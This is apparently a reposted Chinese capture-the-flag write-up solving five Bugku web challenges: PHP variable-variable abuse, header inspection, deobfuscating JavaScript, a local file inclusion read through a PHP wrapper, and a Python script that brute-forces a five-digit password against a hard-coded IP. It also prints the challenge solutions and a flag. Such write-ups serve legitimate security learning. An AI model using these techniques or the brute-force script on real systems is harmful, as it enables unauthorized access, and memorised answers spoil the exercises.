BUGKU--刷题

刷题

一.BUGKU

  • WEB

1. 变量1

知识点php两个$$是 可变变量,就是一个变量的变量名可以动态的设置和使用
$GLOBALS一个包含了全部变量的全局组合数组。变量的名字就是数组的键

<?php
include "flag.php";                 //包含flag.php这个文件
$a = @$_REQUEST['hello'];     //$a这个变量请求变量hello的值
if(!preg_match('/^w*$/',$a )){ //正则表达式,匹配字符串,w表示字符+数字+下划线,*代表有若干个w字符组成。
    die('ERROR');//不匹配则输出ERROR
}
eval("var_dump($$a);");       //如果匹配输出$$a的值
show_source(__FILE__);
?>

2.头等舱

直接burpsuit抓包,看返回包

3.WEB4

给了提示,查看源代码

js代码,加密了,我们自己写个html文件,可以把eval改为alert,就把代码解密弹出了

弹出的代码

function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;

可以看到就是简单的构造一下password,password=67d709b2b54aa2aa648cf6e87a7114f1提交就可得到flag

4.flag在index里


有一个跳转链接,查看源代码

像是文件包含,用PHP封装协议读取文件


base64解码得

<html>
    <title>Bugku-ctf</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

5.输入密码查看flag

5位数可以爆破


附爆破脚本

#coding:utf-8
import requests
url='http://120.24.86.145:8002/baopo/?yes'
value=[]
for i in range(0,99999):
    if(len(str(i))<5):
        value.append("0"*(5-len(str(i)))+str(i))
    else :
        value.append(str(i))
data = {'pwd':11111}
content = requests.post(url,data=data)
content.encoding='utf-8'
patch=content.text
for i in value:
    data = {'pwd':i}
    print 'trying',i
    content = requests.post(url,data=data)
    content.encoding='utf-8'
    html=content.text
    #print html
    if html != patch:
        print html
    #print content.text.decode('gbk', 'ignore')
原文地址:https://www.cnblogs.com/hackxf/p/9140199.html